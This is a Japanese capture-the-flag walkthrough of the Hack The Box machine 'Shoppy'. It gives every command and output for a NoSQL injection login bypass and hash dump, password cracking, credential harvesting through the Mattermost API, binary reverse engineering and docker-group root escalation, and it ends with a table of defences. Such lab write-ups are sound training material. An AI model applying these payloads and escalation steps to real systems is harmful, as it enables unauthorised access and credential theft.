Hack The BoxのWriteup(Shoppy)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Shoppy — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(nginx)/9093(copycat)
→
NoSQLi認証バイパス
admin’||”===
→
NoSQLiユーザーダンプ
/exports/export-search.json
→
hashcatクラック
josh:remembermethisway
→
Mattermost Deploy Machineチャンネル
jaeger:Sh0ppyBest@pp!
→
SSH jaeger
user.txt ✓
→
password-manager RE
master password = Sample
→
dockerグループ悪用
/root をコンテナにマウント
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & バージョン検出

BASH
nmap -sV -sC -p 22,80,9093 10.129.227.233
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1
80/tcp   open  http    nginx 1.23.1
|_http-title:             Shoppy Wait Page
9093/tcp open  http    Golang net/http server (Prometheus系メトリクスエンドポイント, Alertmanager/copycatと推測)
ℹ️
ルートURLにアクセスするとshoppy.htbへ301リダイレクトされる。 /etc/hostsへの追記が必須。9093番はGo製のメトリクスサーバー(おそらくAlertmanager)で 本筋の攻略ルートには直接関与しない。

サイト内容の確認

BASH
echo "10.129.227.233 shoppy.htb mattermost.shoppy.htb" | sudo tee -a /etc/hosts
curl -s http://shoppy.htb/ | grep -i title
RESULT
<title>            Shoppy Wait Page        </title>
ℹ️
“Wait Page”というタイトルから、今後ここにECサイトが構築される予定のプレースホルダーと推測。 /adminにアクセスすると「Shoppy Admin」のログインページが見つかる。 加えて、HTBマシン名(Shoppy)と開発系サービスの組み合わせから Mattermost(社内チャット)の存在も見込んで mattermost.shoppy.htbを先に/etc/hostsへ仕込んでおく。
PHASE 2

Shoppy Admin — NoSQLインジェクションによる認証バイパスとユーザーダンプ

管理画面へのNoSQLi認証バイパス

BASH
curl -s -c cookies.txt -b cookies.txt -L -X POST http://shoppy.htb/login \
  --data-urlencode "username=admin'||''===" \
  --data-urlencode "password=x"
🚨
バックエンド(Node.js/MongoDB想定)がユーザー入力をサニタイズせずにJavaScriptとして 評価可能な形でクエリに組み込んでいるため、admin'||''==='という文字列を usernameに入れると常に真となる条件式になり、パスワードを知らなくても admin権限のセッションを得られる(NoSQLi認証バイパス)。

管理画面のユーザー検索機能もNoSQLiに脆弱

BASH
curl -s -b cookies.txt \
  "http://shoppy.htb/admin/search-users?username=admin';%20return%20''%20==%20'"
RESULT
<h3 class="text-dark mb-0">Search for users in Shoppy App</h3>
...
<a ... href=http://shoppy.htb/exports/export-search.json>Download export</a>
⚠️
注意点: /admin/search-users?username=...自体はただの検索画面 (HTMLフォームページ)を返すだけで、インジェクション結果のJSONを直接は返さない。 ページ内に/exports/export-search.jsonへの「Download export」リンクがあり、 実際のダンプ結果はこの別エンドポイントに副作用として書き出される。 検索クエリを送った直後にこのエクスポートファイルを別途取得する必要がある。

エクスポートファイルから全ユーザーのMD5ハッシュをダンプ

BASH
curl -s -b cookies.txt "http://shoppy.htb/exports/export-search.json"
RESULT
[{"_id":"62db0e93d6d6a999a66ee67a","username":"admin","password":"23c6877d9e2b564ef8b32c3a23de27b2"},
 {"_id":"62db0e93d6d6a999a66ee67b","username":"josh","password":"6ebcea65320589ca4f2f1ce039975995"}]
✅
MongoDBコレクション全体のusername/passwordペア(MD5ハッシュ)がそのまま漏洩。 adminとjoshの2ユーザーが存在する。
PHASE 3

MD5クラック & Mattermostの「Deploy Machine」チャンネルから実資格情報を入手

joshのMD5ハッシュをhashcatでクラック

BASH
echo "6ebcea65320589ca4f2f1ce039975995" > josh.hash
hashcat -a 0 -m 0 josh.hash /usr/share/wordlists/rockyou.txt --quiet
hashcat -a 0 -m 0 josh.hash /usr/share/wordlists/rockyou.txt --show
RESULT
6ebcea65320589ca4f2f1ce039975995:remembermethisway
ℹ️
MD5(-m 0)の素のロックユー辞書攻撃であっさりクラック成功。この資格情報は SSHでは通らない(Shoppy Adminサイトのログイン専用パスワードと思われる)ため、 他に資格情報を使い回していそうなサービスを探す。

Mattermostへjoshとしてログイン

BASH
curl -s -D headers.txt -X POST http://mattermost.shoppy.htb/api/v4/users/login \
  -H "Content-Type: application/json" \
  -d '{"login_id":"josh","password":"remembermethisway"}'
grep -i '^Token:' headers.txt
RESULT
HTTP/1.1 200 OK
Token: hxtr9nrgkpyiufcyw851nx3wue
✅
パスワード使い回しでMattermostにログイン成功。Mattermost REST APIは ログイン成功時のレスポンスヘッダーTokenにセッショントークンを返す。 以降のAPI呼び出しはAuthorization: Bearer <token>で認証する。

参加チャンネル一覧から「Deploy Machine」を発見

BASH
TOKEN=hxtr9nrgkpyiufcyw851nx3wue
TEAM=$(curl -s -H "Authorization: Bearer $TOKEN" \
  http://mattermost.shoppy.htb/api/v4/users/me/teams | jq -r '.[0].id')
curl -s -H "Authorization: Bearer $TOKEN" \
  "http://mattermost.shoppy.htb/api/v4/users/me/teams/$TEAM/channels" \
  | jq -r '.[] | "\(.id) \(.name) \(.display_name)"'
RESULT
6kfsfcpnf3yazd4t4u5ico8raw coffee-break Coffee Break
8mw8idteyjn8xddguf41i1umee deploy-machine Deploy Machine
nz3zkr5ppbrpi8sc65sh7pewgc development Development
sj67j3ij9p8im8y63e6mawbziy town-square Town Square

チャンネル履歴からjaegerのSSH資格情報を発見

BASH
curl -s -H "Authorization: Bearer $TOKEN" \
  "http://mattermost.shoppy.htb/api/v4/channels/8mw8idteyjn8xddguf41i1umee/posts" \
  | jq -r '.order[] as $id | .posts[$id].message' 
RESULT (投稿メッセージ、古い順)
Hey @josh,

For the deploy machine, you can create an account with these creds :
username: jaeger
password: Sh0ppyBest@pp!
And deploy on it.
---
Thanks, I'll remember that
The deploy machine will be created within the next 24h
---
Oh I forgot to tell you, that we're going to use docker for the deployment,
so I will add it to the first deploy
🚨
社内チャットのやり取りに平文の資格情報がそのまま残っている典型例。 jaeger:Sh0ppyBest@pp!を入手。おまけに「dockerを使ってデプロイする」という 後の権限昇格を予告する会話まで残っている。
PHASE 4

SSHログイン & user.txt取得

jaeger資格情報でSSHログイン

BASH
sshpass -p 'Sh0ppyBest@pp!' ssh jaeger@10.129.227.233 \
  "id; hostname; cat /home/jaeger/user.txt"
RESULT
uid=1000(jaeger) gid=1000(jaeger) groups=1000(jaeger)
shoppy
b49a41ff7d375f014c917f59ab7194c6
user.txt — jaeger
b49a41ff7d375f014c917f59ab7194c6
PHASE 5

password-managerバイナリのリバースエンジニアリング

sudo権限の確認

BASH
jaeger@shoppy:~$ sudo -l
RESULT
[sudo] password for jaeger:
User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager
ℹ️
NOPASSWDではない点に注意(後述のスクリプト化で重要)。jaeger自身の SSHパスワードを使ってsudo認証したうえで、deployユーザーとして password-managerを実行できる。

バイナリを取得しstringsで調査 — マスターパスワードは見つからない

BASH
scp jaeger@10.129.227.233:/home/deploy/password-manager .
file password-manager
strings password-manager | grep -iE 'sample|master|password'
RESULT
password-manager: ELF 64-bit LSB pie executable, x86-64, ... not stripped
Welcome to Josh password manager!
Please enter your master password:
password-manager.cpp
⚠️
stringsにはプロンプト文言だけで、肝心のマスターパスワード文字列 「Sample」がどこにも見当たらない。これは偶然ではなく、後述の通り 1文字ずつ分割されたリテラルを実行時に連結しているため。

objdumpで逆アセンブルし文字列構築ロジックを特定

BASH
objdump -d -C password-manager | awk '/<main>:/,/^$/' 
RESULT (抜粋・6回の operator+= 呼び出し)
lea    0xdb9(%rip),%rsi   # 0x205d
call   ...::operator+=(char const*)
lea    0xdaa(%rip),%rsi   # 0x205f
call   ...::operator+=(char const*)
lea    0xd99(%rip),%rsi   # 0x2061
call   ...::operator+=(char const*)
lea    0xd88(%rip),%rsi   # 0x2063
call   ...::operator+=(char const*)
lea    0xd77(%rip),%rsi   # 0x2065
call   ...::operator+=(char const*)
lea    0xd66(%rip),%rsi   # 0x2067
call   ...::operator+=(char const*)
...
call   ...::basic_string<...>::compare(...)
test   %eax,%eax
sete   %al
BASH (各オフセットの.rodataの中身を確認)
objdump -s -j .rodata password-manager
RESULT
0x205d: S\0
0x205f: a\0
0x2061: m\0
0x2063: p\0
0x2065: l\0
0x2067: e\0
🚨
マスターパスワード「Sample」が1文字ごとに独立したヌル終端文字列リテラルとして バラバラに配置され、実行時にstd::string::operator+=を6回呼んで連結 してから、ユーザー入力とcompare()している。stringsで検出されない ようにする単純な難読化だが、逆アセンブルすれば一瞬で見抜ける。

マスターパスワード「Sample」を入力しdeploy資格情報を取得

BASH (jaegerのsudoパスワード → マスターパスワードの順に2行渡す)
printf 'Sh0ppyBest@pp!\nSample\n' | sudo -S -u deploy /home/deploy/password-manager
RESULT
Welcome to Josh password manager!
Please enter your master password: Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
⚠️
ハマりどころ: jaegerのsudoはNOPASSWDではないため、 標準入力に1行だけマスターパスワードを流すとその1行はsudo自身のパスワード プロンプトに消費されてしまい、password-manager本体には何も渡らず失敗する。 jaeger自身のSSHパスワード→マスターパスワードの順に2行をパイプする必要がある。
PHASE 6

dockerグループの悪用 & root.txt取得

deployユーザーのグループ確認

BASH
sshpass -p 'Deploying@pp!' ssh deploy@10.129.227.233 "id"
RESULT
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
🚨
docker グループのメンバーはroot同等の権限を持つという古典的な 権限昇格ポイント。dockerデーモンのソケットに直接アクセスできるため、 ホストの任意のディレクトリをマウントしたコンテナを起動できてしまう。 Mattermostのやり取りで「dockerを導入する」と予告されていた通りの展開。

/root をマウントしたコンテナでroot.txtを読む

BASH
sshpass -p 'Deploying@pp!' ssh deploy@10.129.227.233 \
  "docker run --rm -v /root:/mnt alpine sh -c 'id; cat /mnt/root.txt'"
RESULT
uid=0(root) gid=0(root) groups=0(root),...  ← コンテナ内はroot
45815acc3059b444135a2a6c0c0b61f6
✅
ホストの/rootをコンテナ内の/mntにバインドマウントし、 コンテナ内はroot権限で動くため、ホスト側の所有者がrootであってもファイル内容を 自由に読み取れる。chrootして/bin/bashをSUID化する等、 完全なホストroot化も同様に可能。
root.txt — root (dockerグループ経由)
45815acc3059b444135a2a6c0c0b61f6
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — jaeger
b49a41ff7d375f014c917f59ab7194c6
root.txt — root
45815acc3059b444135a2a6c0c0b61f6

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
NoSQLインジェクション(認証バイパス) Shoppy Admin /login 管理者認証の完全バイパス Critical username=admin'||''===でMongoDBクエリの論理条件を操作
NoSQLインジェクション(データ漏洩) 管理画面ユーザー検索 + /exports/export-search.json 全ユーザーのMD5ハッシュ漏洩 Critical 検索クエリにJavaScript評価可能な文字列を注入し、副作用のエクスポートファイルから全件ダンプ
弱いパスワード + パスワード使い回し josh のMD5ハッシュ / Mattermostアカウント 内部チャットへの不正アクセス Medium rockyouでMD5を即座にクラックし、同じ資格情報がMattermostログインにも有効
チャットツールへの平文資格情報の記録 Mattermost「Deploy Machine」チャンネル SSH資格情報の漏洩 High 過去の投稿メッセージにjaegerのSSHパスワードが平文で残存
文字列難読化のみのマスターパスワード保護 /home/deploy/password-manager (sudo経由実行可) deployユーザー資格情報の漏洩 Medium stringsでは検出されないが、objdumpでの逆アセンブルで1文字連結ロジックを解析し突破
dockerグループへの一般ユーザー所属 deployユーザー (docker group 998) 権限昇格(一般ユーザー → root同等) Critical docker run -v /root:/mntでホストの任意ディレクトリをroot権限コンテナにマウント

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + vhost追加22(SSH)/80(nginx shoppy.htb)/9093
2NoSQLi認証バイパス + エクスポートファイル経由ダンプadmin/josh のMD5ハッシュ
3クラック & 横移動hashcat + Mattermost APIjaeger:Sh0ppyBest@pp!(チャット履歴より)
4フットホールドSSHuser.txt(jaeger)
5バイナリ解析objdump逆アセンブルmaster password = Sample → deploy:Deploying@pp!
6権限昇格dockerグループ + バインドマウントroot.txt

学んだ教訓 & 防御策

問題点防御策
ユーザー入力をサニタイズせずMongoDBクエリ/JavaScript評価に使用 Mongooseのスキーマバリデーションを必須化し、$where等の任意JS評価クエリ演算子を無効化する。入力値の型を厳密にチェックする。
検索結果が認証チェックの甘いエクスポートエンドポイントに平文で書き出される エクスポート機能にも認可チェックを適用し、パスワードハッシュ等の機密フィールドは出力対象から除外する。
社内チャットツールに平文の資格情報を投稿する運用 資格情報の共有は専用のシークレット管理ツール(Vault等)を使い、チャットでの平文共有を禁止する。
秘密情報保護が「strings逃れ」程度の表層的な難読化のみ 真に機密な認証をバイナリに埋め込むこと自体を避け、外部の認証基盤・ハードウェアトークン等に委譲する。
一般運用ユーザーがdockerグループに所属している dockerグループへの所属はroot権限と同等であることを周知し、必要な場合はrootlessモードやPodman等の非特権コンテナランタイムを検討する。
HackTheBox: Shoppy | 完全攻略レポート